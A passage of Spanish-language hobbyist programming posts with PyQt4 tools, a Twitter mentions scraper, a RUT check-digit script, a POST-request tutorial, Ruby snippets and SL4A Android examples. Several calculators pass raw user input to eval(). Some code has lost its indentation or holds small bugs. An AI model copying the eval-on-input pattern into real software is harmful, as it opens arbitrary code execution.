class myalert(QtGui.QMainWindow):

 def __init__(self):

   QtGui.QMainWindow.__init__(self)
   #self.resize(130,50)
   self.setGeometry(400,300,250,50)
   self.label_problema = QtGui.QLabel(self)
   self.label_problema.setGeometry(40,17,180,20)
 
 def alerta(self,error,razon):

   self.setWindowTitle(error)
   self.label_problema.setText(razon)


class twitter(QtGui.QWidget):

 def __init__(self, parent=None):

   QtGui.QWidget.__init__(self,parent)
   cookie = urllib2.HTTPCookieProcessor()
   opener = urllib2.build_opener(cookie)
   urllib2.install_opener(opener)
   self.resize(546, 525)
   self.usuario = QtGui.QLineEdit(self)
   self.usuario.setGeometry(70, 10, 201, 21)
   self.l_usuario = QtGui.QLabel('Usuario :',self)
   self.l_usuario.setGeometry(10, 14, 57, 15)
   self.clave = QtGui.QLineEdit(self)
   self.clave.setGeometry(70, 40, 201, 21)
   self.clave.setEchoMode(QtGui.QLineEdit.Password)
   self.l_clave = QtGui.QLabel('Clave :',self)
   self.l_clave.setGeometry(10, 44, 57, 15)
   self.mencion = QtGui.QTextBrowser(self)
   self.mencion.setGeometry(10, 100, 531, 411)
   self.l_menciones = QtGui.QLabel('Tus Menciones : ',self)
   self.l_menciones.setGeometry(10, 70, 111, 16)
   self.login = QtGui.QPushButton('Ingresar !',self)
   self.login.setGeometry(300, 25, 171, 25)
   self.setWindowTitle('Menciones Twitter - [JaAViEr]')
   self.connect(self.login,QtCore.SIGNAL('clicked()'),self.ingreso)
   self.refresh = QtGui.QPushButton('Refrescar',self)
   self.refresh.setGeometry(0,0,0,0)

 def ingreso(self):

   user=str(self.usuario.text());passwd=str(self.clave.text())
   for token in re.findall('name=\"authenticity_token\" type=\"hidden\" value=\"(.*)\"',urllib2.urlopen('https://mobile.twitter.com/session').read()):
     dato = {'authenticity_token':token,'username':user,'password':passwd}
     urllib2.urlopen('https://mobile.twitter.com/session',urllib.urlencode(dato)).read()
     if "Sign out" in urllib2.urlopen('https://mobile.twitter.com/').read():

       self.refresh.setGeometry(300, 60, 171, 25)
       self.connect(self.refresh,QtCore.SIGNAL('clicked()'),self.mentions)
       self.mentions()
     
 def mentions(self):

   mensaje=""
   for persona,msj in zip(re.findall('<strong><a href=\"(.*)\">(.*)</a></strong>',urllib2.urlopen('https://mobile.twitter.com/replies').read()),re.findall('<span class=\"status\">(.*)</span>',urllib2.urlopen('https://mobile.twitter.com/replies').read())):
     if not persona in ["Find people','Help','Sign out"]:

       mensaje+="<b>%s</b> %s<hr>"%(persona[1],msj)
   self.mencion.setHtml('<body bgcolor=#c0deed><div style=color:black>%s</div>'%mensaje)


class calculadora(QtGui.QWidget):

   def __init__(self, parent=None):

       QtGui.QWidget.__init__(self, parent)
       self.setWindowTitle('Calculadora')
       self.resize(119, 145)
       self.temp=""
       self.igual = QtGui.QPushButton('=',self)
       self.igual.setGeometry(90, 120, 31, 24)
       self.multiplica = QtGui.QPushButton('*',self)
       self.multiplica.setGeometry(0, 120, 31, 24)
       self.connect(self.multiplica,QtCore.SIGNAL('clicked()'),self.multiplicar)
       self.clean = QtGui.QPushButton('AC',self)
       self.clean.setGeometry(30, 120, 31, 24)
       self.connect(self.clean,QtCore.SIGNAL('clicked()'),self.clear)
       self.divide = QtGui.QPushButton('/',self)
       self.connect(self.divide,QtCore.SIGNAL('clicked()'),self.dividir)
       self.divide.setGeometry(0, 90, 31, 24)
       self.connect(self.igual,QtCore.SIGNAL('clicked()'),self.resultado)
       self.resta = QtGui.QPushButton('-',self)
       self.resta.setGeometry(0, 60, 31, 24)
       self.connect(self.resta,QtCore.SIGNAL('clicked()'),self.restar)
       self.suma = QtGui.QPushButton('+',self)
       self.suma.setGeometry(0, 30, 31, 24)
       self.connect(self.suma,QtCore.SIGNAL('clicked()'),self.sumar)
       self.lineEdit = QtGui.QLineEdit(self)
       self.lineEdit.setGeometry(QtCore.QRect(0, 0, 121, 25))
       self.uno = QtGui.QPushButton('1',self)
       self.connect(self.uno,QtCore.SIGNAL('clicked()'),self.inu)
       self.uno.setGeometry(QtCore.QRect(30, 30, 31, 24))
       self.dos = QtGui.QPushButton('2',self)
       self.connect(self.dos,QtCore.SIGNAL('clicked()'),self.ind)
       self.dos.setGeometry(QtCore.QRect(60, 30, 31, 24))
       self.tres = QtGui.QPushButton('3',self)
       self.connect(self.tres,QtCore.SIGNAL('clicked()'),self.intr)
       self.tres.setGeometry(QtCore.QRect(90, 30, 31, 24))
       self.cuatro = QtGui.QPushButton('4',self)
       self.connect(self.cuatro,QtCore.SIGNAL('clicked()'),self.inc)
       self.cuatro.setGeometry(QtCore.QRect(30, 60, 31, 24))
       self.cinco = QtGui.QPushButton('5',self)
       self.connect(self.cinco,QtCore.SIGNAL('clicked()'),self.inci)
       self.cinco.setGeometry(QtCore.QRect(60, 60, 31, 24))
       self.seis = QtGui.QPushButton('6',self)
       self.connect(self.seis,QtCore.SIGNAL('clicked()'),self.ins)
       self.seis.setGeometry(QtCore.QRect(90, 60, 31, 24))
       self.nueve = QtGui.QPushButton('9',self)
       self.connect(self.nueve,QtCore.SIGNAL('clicked()'),self.inn)
       self.nueve.setGeometry(QtCore.QRect(90, 90, 31, 24))
       self.ocho = QtGui.QPushButton('8',self)
       self.connect(self.ocho,QtCore.SIGNAL('clicked()'),self.ino)
       self.ocho.setGeometry(QtCore.QRect(60, 90, 31, 24))
       self.siete = QtGui.QPushButton('7',self)
       self.connect(self.siete,QtCore.SIGNAL('clicked()'),self.insi)
       self.siete.setGeometry(QtCore.QRect(30, 90, 31, 24))
       self.cero = QtGui.QPushButton('0',self)
       self.cero.setGeometry(QtCore.QRect(60, 120, 31, 24))
       self.connect(self.cero,QtCore.SIGNAL('clicked()'),self.ince)

   def clear(self):

     self.temp=""
     self.lineEdit.setText('')

   def restar(self):

     self.temp+="-"
     self.lineEdit.setText(self.temp)

   def dividir(self):

     self.temp+="/"
     self.lineEdit.setText(self.temp)

   def multiplicar(self):

     self.temp+="*"
     self.lineEdit.setText(self.temp)

   def sumar(self):

       self.temp+="+"
       self.lineEdit.setText(self.temp)

   def resultado(self):

       if len(self.temp)>0:

         final=eval(self.temp)
         self.lineEdit.setText(str(final))
         self.temp=str(final)

       else:

         final=eval(str(self.lineEdit.text()))
         print final
         self.lineEdit.setText(str(final))
         self.temp=str(final)

   def inu(self):

       self.temp+="1"
       self.lineEdit.setText(self.temp)

   def ind(self):

       self.temp+="2"
       self.lineEdit.setText(self.temp)

   def intr(self):

       self.temp+="3"
       self.lineEdit.setText(self.temp)

   def inc(self):

       self.temp+="4"
       self.lineEdit.setText(self.temp)

   def inci(self):

       self.temp+="5"
       self.lineEdit.setText(self.temp)

   def ins(self):

       self.temp+="6"
       self.lineEdit.setText(self.temp)

   def insi(self):

       self.temp+="7"
       self.lineEdit.setText(self.temp)

   def ino(self):

       self.temp+="8"
       self.lineEdit.setText(self.temp)

   def inn(self):

       self.temp+="9"
       self.lineEdit.setText(self.temp)

   def ince(self):

       self.temp+="0"
       self.lineEdit.setText(self.temp)


class view_source(QtGui.QWidget):

   def __init__(self, parent=None):

       QtGui.QWidget.__init__(self,parent)
       self.resize(466, 407)
       self.vercode = QtGui.QPushButton('View Source',self)
       self.vercode.setGeometry(200, 380, 105, 24)
       self.http_host = QtGui.QLineEdit(self)
       self.http_host.setGeometry(90, 10, 371, 25)
       self.http_host.setEchoMode(QtGui.QLineEdit.Normal)
       self.url = QtGui.QLabel('Host / URL',self)
       self.url.setGeometry(20, 17, 71, 16)
       self.viewcode = QtGui.QLabel('View Source',self)
       self.viewcode.setGeometry(10, 35, 121, 16)
       self.code = QtGui.QPlainTextEdit(self)
       self.code.setGeometry(0, 50, 461, 331)
       self.code.setFrameShadow(QtGui.QFrame.Raised)
       self.setWindowTitle('View Source - JaAViEr')
       self.connect(self.vercode,QtCore.SIGNAL('clicked()'),self.vista_code)
   
   def vista_code(self):
     
     pagina=urllib2.urlopen(str(self.http_host.text()))
     self.code.setPlainText(pagina.read())

correr = QtGui.QApplication(sys.argv)
formulario = all_in_one()
formulario.show()
calculadora = calculadora()
twitter = twitter()
html_helper = html_helper()
secuencia = secuencia()
extractor = extractor()
digito = formulario_rut()
source = view_source()
correr.exec_()

Screenshot :


Luego es cuestión de dar clic en los botones para utilizar las herramientas !

Fuente : http://rootcodes.com/pyqt4all-in-one-recopilatorio-de-qt4-jaavier

Saludos, Javier

["Como sacar dígito verificador de rol único tributario (RUT)"]

Hola, buen día !

Tras unas merecidas vacaciones vengo de vuelta con cosas para programar, con la cabeza ya más despejada .

Visitando el blog del colega <a href="http://twitter.com/isseu">@isseu</a>, me encuentro con un artículo llamado "Como sacar dígito verificador de rol único tributario (RUT)". Me pareció interesante y me puse a leer atentamente su explicación y me animé a pasarlo a Python, en su blog está en javascript, pero yo como buen amante de Python lo hice en él

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
rut = []
ingresar = [rut.append(numeros) for numeros in raw_input('RUT ::>')]
rut.reverse()
recorrido = 2
multiplicar = 0
for x in rut:
multiplicar+=int(x)*recorrido
if recorrido==7: recorrido = 1
recorrido+=1
modulo = multiplicar%11
resultado = 11-modulo
if resultado == 11: digito=0
elif resultado == 10: digito="K"
else: digito=resultado
print "Dígito verificador:",digito

Espero sea de su agrado !

Fuente : http://rootcodes.com/pythonobtener-digito-verificador-del-rut-en-chile/

Saludos, Javier.

[Python]

Hola, muy buenos días a todos !
En esta mini guía o vengo a explicar una cosa sencilla de Python, pero que muy pocos utilizan. Me refiero a enviar datos mediante la petición POST.
Primero que nada, quiero mostrar las diferentes formas de llevar a cabo estas peticiones, una de ellas, es mediante la librería "httplib", la otra es mediante la librería urllib o urllib2.

Una ventaja aparente que veo yo al utilizar la librería httplib, es que podemos manejar los códigos de error que nos devuelven las peticiones que hagamos. Por si no manejan dichos códigos de error, acá les dejo un listado de los principales :

• 200 : OK, documento entregado correctamente.
  
• 202 : Aceptada, pero la petición no es completada con éxito.
  
• 204 : Sin contenido.
  
• 301 : Movido permanentemente.
  
• 302 : Movido Temporalmente.
  
• 304 : No modificado.
  
• 401 : No autorizado.
  
• 403 : Prohibido, el conocido Forbidden
  
• 404 : No encontrado.
  
• 500 : Error interno.
  
• 501 : No implementado.
  

Bueno, volviendo al tema... Para enviar una petición POST, debemos saber la URL a la que deseamos enviar los datos, eso es bastante fácil, ya que generalmente solo debemos mirar el código de fuente y buscar <form ... y ubicar el action="ACÁ LA URL". Una vez encontrado ello, debemos saber que datos tenemos que enviarle a la URL, para ello deberás buscar los <input type="text" o type="hidden".

  Ahora, si no te quieres complicar la vida buscando en el código de fuente, puedes usar otra herramienta proporcionada por mi, que detecta formulario y campos a enviar mediante el POST:

Código (python) [Seleccionar] Expandir

# -*- coding: utf-8 -*-
# Autor: JaAViEr (0x5d)
# Twitter: 0x5d
import re,urllib,sys
try:
  var = urllib.urlopen(raw_input("URL ::> ")).read()
except:
  print "No es posible conectar..."
  sys.exit(1)
url_enviar=""
for url in re.findall("<form (.*)>",var):
  if "action" in url.lower():
    for web in url.split():
      if re.findall("action=(.*)",web):
        url_enviar=web.replace("action=","")
url_enviar = url_enviar.replace("\"","")
datos_r = []
for campos in re.findall("<input (.*)>",var):
  if "name" in campos.lower():
    for cam in campos.split():
      if re.findall("name=(.*)",cam):
        datos_r.append(cam.replace('"',""))
print "URL a enviar POST:",url_enviar.replace(">","")
print "Campos Detectados:"
for s in datos_r:
  print s.replace("name=","")
  Solo basta con ingresar la URL para saber a que URL apunta el formulario & los datos que tenemos que enviar, podría ser buena herramienta para esta ocasión.

  Ahora que ya tenemos todos nuestros datos necesarios y fundamentales, manos a la obra !
  Veamos que tal nos va con el famoso httplib y urllib para poder codificar los datos y que el navegador los comprenda, primero los importamos:

Código (python) [Seleccionar] Expandir


import httplib, urllib
Para poder crear una conexión utilizamos:

Código (python) [Seleccionar] Expandir


parametros = urllib.urlencode({'campo1': 'valor uno','campo2':'valor2'})
En este caso, estamos enviando campo1 con el valor: valor uno y campo2 con el valor: valor2
Y Bueno, necesitamos enviar la cabecera necesaria para poder realizar con éxito nuestra petición, Content-type : application/x-www-form-urlencoded, que en Python es:

Código (python) [Seleccionar] Expandir


cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
Bien, una vez ya tenemos todo esto en nuestro código, debemos especificar a que host nos queremos conectar y con que puerto :

Código (python) [Seleccionar] Expandir


abrir_conexion = httplib.HTTPConnection("rootcodes.com:80")
Con eso ya abrimos nuestra conexión a rootcodes.com vía puerto 80 (HTTP). Por lo tanto, ahora necesitamos especificar la URL o el archivo en el servidor que nos receptará los datos:

Código (python) [Seleccionar] Expandir


abrir_conexion.request("POST", "/archivo_cualquiera.php", parametros, cabeceras)
Genial ! , ya tenemos nuestra conexión establecida con rootcodes.com y le acabamos de enviar los datos "campo1" y "campo2" con sus respectivos valores ! , pero falta algo, saber si nuestra apreciada petición fue realizada con éxito:

Código (python) [Seleccionar] Expandir


respuesta = abrir_conexion.getresponse()
print respuesta.status
  Ahí es donde entran en juego los códigos de error que les dejé más arriba.
PD: respuesta.status devolverá el código de error en número, mientras que:

Código (python) [Seleccionar] Expandir

print respuesta.reason
  Nos devolverá en texto, en caso de ser una respuesta válida, el status será 200 y el reason "OK"
  Ya una vez finalizado todo, podemos obtener el código de fuente & posteriormente cerrar la conexión:

Código (python) [Seleccionar] Expandir


ver_source = respuesta.read()
abrir_conexion.close()
  Bien, código final:

Código (python) [Seleccionar] Expandir


import httplib, urllib
parametros = urllib.urlencode({'campo1': 'valor uno','campo2':'valor2'})
cabeceras = {"Content-type": "application/x-www-form-urlencoded","Accept": "text/plain"}
abrir_conexion = httplib.HTTPConnection("rootcodes.com:80")
abrir_conexion.request("POST", "/archivo_cualquiera.php", parametros, cabeceras)
respuesta = abrir_conexion.getresponse()
print respuesta.status
ver_source = respuesta.read()
#Esto es opcional -> print ver_source
abrir_conexion.close()

  Bien, eso es con la "famosa" httplib, qué tal si vemos ahora como hacerlo con urllib ?

  Bueno, empiezo de 0 con urllib, lo bueno es que esto es muchísimo más sencillo, ya verán
Primero, importamos la librería :

Código (python) [Seleccionar] Expandir


import urllib
  Para establecer los campos a enviar, es igual al anterior:

Código (python) [Seleccionar] Expandir


campos = urllib.urlencode({"campo":"valor"})
  Y para establecer la web a la cuál enviar los datos:

Código (python) [Seleccionar] Expandir


sitio = urllib.urlopen("http://rootcodes.com/el_archivo.php", campos)
print sitio.read()

  Basta con eso, para enviar el campo: "nombre" con valor: JaAViEr.
Sencillo no ? , pues claro, el único problema es que tendríamos que utilizar expresiones regulares para detectar si nuestra petición fue realizada con éxito o no, por lo que es mejor utilizar httplib, cosa que yo no hago

  De yapa les dejaré una mini clase que hice en Python, para enviar datos por POST fácilmente:

Código (python) [Seleccionar] Expandir


# -*- coding: utf-8 -*-
# Autor: JaAViEr (0x5d)
# Twitter: 0x5d
import re,urllib,sys
try:
  var = urllib.urlopen(raw_input('URL ::> ')).read()
except:
  print "No es posible conectar..."
  sys.exit(1)
url_enviar=""
for url in re.findall("<form (.*)>",var):
  if "action" in url.lower():
    for web in url.split():
      if re.findall("action=(.*)",web):
        url_enviar=web.replace("action=",'')
url_enviar = url_enviar.replace("\"",'')
datos_r = []
for campos in re.findall("<input (.*)>",var):
  if "name" in campos.lower():
    for cam in campos.split():
      if re.findall("name=(.*)",cam):
        datos_r.append(cam.replace('"',''))
print "URL a enviar POST:",url_enviar.replace(">",'')
print "Campos Detectados:"
for s in datos_r:
  print s.replace("name=",'')
Un ejemplo de uso:

Código (text) [Seleccionar] Expandir


Inserta la URL ::> http://sitio web
Inserta las variables, separadas por ':' ::> campo1:campo2
Inserta los valores, separados por ':' ::> valor1:valor2
ACÁ IRÁ LA SALIDA

  Espero no haber sido muy enredado en mi explicación.

Fuente Original : http://rootcodes.com/pythonenviar-peticiones-post-desde-python/  O TAMBIÉN -> http://foros.cristalab.com/enviar-peticiones-post-a-sitios-web-con-python-t103492/

Saludos, Javier.

Hola, buen día a todos!

Sigo en mi travesía por Ruby y mi travesía por el tablet...
Ahora traigo la sucesión fibonacci en Ruby probada y programada desde el
Galaxy Tab

Código (ruby) [Seleccionar] Expandir

b=[1,1,2]
t=0
b.each do |n|
t=b[b.length-1]+b[b.length-2]
print t
b << t
gets
end


Saludos!

Hola, buen día.

Antes de aprender Python, no sabía si meterle mano a Python o a Ruby. Como tomé Python, ahora será el turno de Ruby. El problema es que mi Debian murió y estoy programando desde el tablet.

Bueno, ya todos conocen el String to ASCII, esta vez en Ruby:

Código (ruby) [Seleccionar] Expandir


puts 'Inserta un string ::>'
STDOUT.flush
var=gets.chomp
h=''
i = 0
puts 'Salida ASCII:'
while i<var.length
  h+=var[i].to_s+' '
  i+=1
end
puts h


Saludos.

[sl4a_r4.apk]

Hola. ¡Buenos días a todos !

 En esta oportunidad le dedicaré algo de tiempo y espacio en el blog a la programación de 'aplicaciones' para Android en lenguaje Python, si bien no les explicaré como funciona ni mucho menos, les dejaré algunas funciones para que ustedes quizás puedan expandir y desarrollar algo.
 
 Bueno, antes que todo, debemos instalar la aplicación SL4A, que la encontraremos acá en su página oficial , yo uso el sl4a_r4.apk en el tablet y luego desde el mismo sitio web bajamos el Python For Android.


 En todo código que programemos en nuestro Android, debemos importar la librería Android y crear el objeto para utilizar la API:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()

OJO que eso es solo si pretendes programar aplicaciones con funciones internas de tu Android, ya sea Cámara, WiFi, Contactos, etc.

Bueno, veamos algo sencillo, crear el típico alerta con un titulo y mensaje personalizado, para lo que usaremos droid.dialogCreateAlert('Titulo','Mensaje' )
, pero para este ser mostrado debemos utilizar droid.dialogShow():

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
droid.dialogCreateAlert('Titulo','Mensaje')
droid.dialogShow()



 Otra cosa bien sencilla sería pedir datos por GetInput mediante otro cuadro de dialogo, el código es sencillo igualmente:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
variable = droid.dialogGetInput('TITULO','INSERTE DATOS:').result


Ojo, debemos poner .result o nos devolverá el resultado junto a otros datos, como tenemos ya nuestros datos en 'variable' , luego podemos mostrar lo insertado vía Cuadro de Alerta o vía print.
En caso de querer mostrar el resultado vía Alerta:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
variable = droid.dialogGetInput('DATOS','Tu nombre:').result
droid.dialogCreateAlert('Muestra Datos','Tu nombre es %s'%variable)
droid.dialogShow()

La cual nos pedirá un nombre y posteriormente lo mostrará en un Alerta.

 Otra cosa entre comillas interesante, es la posibilidad de añadir un DatePicker, bueno si no sabes que es, es un cuadro que nos permite buscar fechas de manera más 'cómodas', ahora, veamos como aplicarlo en Python - Android. Para llamar al DatePicker, debemos crearlo antes, mediante droid.dialogCreateDatePicker([Año inicio], [Mes], [Día]) Y para mostrarlo, lo mismo de antes, droid.dialogShow(). Bien, veamos el código:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
fecha = droid.dialogCreateDatePicker(1970, 1, 1)
droid.dialogShow()

Paso a explicar esto un poco, almacenamos el DatePicker en la variable 'fecha', pero que sucede si hacemos un print fecha, como queriendo mostrar el resultado ? Pues no devolverá nada, pues para esta situación debemos de utilizar droid.dialogGetResponse().result, lo que insertaremos en una variable llamada 'respuesta', de esta manera:

Código (python) [Seleccionar] Expandir


respuesta = droid.dialogGetResponse().result
print respuesta
bien, veamos que nos dice el print respuesta:
[text]
{u'year':1970, u'day':1, u'wich': u'positive', u'month':1}
[/text]
Entonces, si solo queremos tomar el año o fecha o día o lo que sea, debemos hacer nada más que añadir:

Código (python) [Seleccionar] Expandir


print respuesta['year']

['year'] ['day'] ['which'] ['mont']

 Bueno, creo que no es necesario mostrar lo siguiente, pero nunca está de más .__. hablo sobre hacer que el celular vibre:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
droid.vibrate(2000)

 Se maneja por ms, por lo que 2000ms = 2s.
Bueno, eso era una pasadita rápida nada más
 Aprovechando eso, también pondré la manera de obtener el volumen máximo del timbre, como es algo sencillo solo dejo el código:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
max = droid.getMaxRingerVolume().result
print "Tope del volumen:", max

Otra sencillez más, es mostrar lo que hay en el ClipBoard:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
contenido = droid.getClipboard().result
print "Contenido del clipboard:", contenido


 Bueno, ya veamos algo quizás más 'útil', como lo son los botones, lo bueno de esto, es que en Android podemos personalizar el texto de los botones de : Si , No , Cancelar

Antes de dar paso a la creación de los botones, antes debemos crear un  dialogCreateAlert('TITULO','MENSAJE' ).
Bueno, al grano, un ejemplo en código:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
crear_alerta = droid.dialogCreateAlert('Titulo','Mensaje')
boton_no = droid.dialogSetNegativeButtonText('NO!')
boton_si = droid.dialogSetPositiveButtonText('SI!')
boton_cancelar = droid.dialogSetNeutralButtonText('CANCELAR!')
droid.dialogShow()
respuesta = droid.dialogGetResponse().result
print respuesta


Si das clic en el boton NO!, la respuesta será :
[text]
{u'wich':u'negative'}
[/text]
Si das en SI! devolverá 'positive', y en caso de ser CANCELAR! devolverá 'neutral'.
Dejaré un ejemplo de uso bien básico.

Código:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
crear_alerta = droid.dialogCreateAlert('Encuesta','Te gusta rootcodes.com?')
boton_no = droid.dialogSetNegativeButtonText('No me gusta')
boton_si = droid.dialogSetPositiveButtonText('Si, me gusta')
boton_cancelar = droid.dialogSetNeutralButtonText('Yo no voto!')
droid.dialogShow()
respuesta = droid.dialogGetResponse().result
if respuesta['which']=='positive':
 droid.dialogCreateAlert('Gracias por tu voto','Me alegra que te guste!')
elif respuesta['which']=='negative':
 droid.dialogCreateAlert('Gracias por tu voto','Una lastima que no te guste!')
else:
 droid.dialogCreateAlert('Gracias por tu voto','Un voto nulo :\\')
droid.dialogShow()

Por lo que dependerá del botón que presionemos la respuesta
Bueno, el sueño me la está ganando, así que mañana continúo y actualizo el post !

Fuente: http://rootcodes.com/python-androidalgunas-funciones-basicas/

Saludos !

Hola, buen día.
Para navidad me llegó un samsung galaxy tab(con android), así que me puse a indagar sobre
como programar cosas para Android y me topé con mi amado python. Antes que todo
hay que bajar la aplicación SL4A http://code.google.com/p/android-scripting y luego el Python
desde la misma web.

Así que me animé a crear la misma calculadora por secuencias del QT4, pero en Android:

Código (python) [Seleccionar] Expandir


import android
droid = android.Android()
secuencia = droid.dialogGetInput('Secuencia','Inserta secuencia:', None).result
resultado = eval(secuencia)
droid.dialogCreateAlert('Resultado','Resultado %s'%resultado)
droid.dialogShow()


Capturas de pantalla:

RESULTADO

Saludos !

[QT4]

Hola, buen día.

  En esta oportunidad vengo a enseñarles un código bien sencillo, pero que por consola llevaría unas 3 líneas, por lo que preferí pasarlo al amigable QT4.

  Trata de una calculadora por secuencia, por lo que debemos insertar la operación en el primer QLineEdit, para ser esta resuelta. Si se inserta una operación inválida, el programa lo hará saber en el cuadro del resultado, si no estoy siendo claro, les dejo un screenshot más representativo:



Y el código:

Código ("python") [Seleccionar] Expandir


# -*- coding: utf-8 -*-
"""
Autor: 0x5d - JaAViEr
Twitter: @0x5d
"""
import sys
from PyQt4 import QtCore, QtGui

class secuencia(QtGui.QWidget):
  def __init__(self, parent=None):
    QtGui.QWidget.__init__(self, parent)
    self.resize(411, 60)
    self.setWindowTitle("Calculadora de secuencias :: JaAViEr(0x5d)")
    self.input_secuencia = QtGui.QLineEdit(self)
    self.input_secuencia.setGeometry(80, 5, 321, 21)
    self.label_secuencia = QtGui.QLabel("Secuencia", self)
    self.label_secuencia.setGeometry(5, 2, 71, 31)
    self.boton_ver = QtGui.QPushButton("Ver", self)
    self.boton_ver.setGeometry(323, 30, 81, 21)
    self.input_resultado = QtGui.QLineEdit(self)
    self.input_resultado.setGeometry(80, 30, 240, 21)
    self.input_resultado.setReadOnly(True)
    self.label_resultado = QtGui.QLabel("Resultado", self)
    self.label_resultado.setGeometry(5, 31, 71, 21)
    self.connect(self.boton_ver, QtCore.SIGNAL("clicked()"), self.ejecutar)
   
  def ejecutar(self):
    try:
      self.resultado = str(self.input_secuencia.text())
      self.input_resultado.setText(str(eval(self.resultado)))
    except:
      self.input_resultado.setText(QtGui.QApplication.translate("self", "Operación inválida", None, QtGui.QApplication.UnicodeUTF8))
app = QtGui.QApplication(sys.argv)
secuencia = secuencia()
secuencia.show()
app.exec_()


Espero que sea de su agrado .
¡ Creo que ya se están notando mis vacaciones !

Fuente: http://rootcodes.com/pyqt4calculadora-por-secuencia/

Saludos.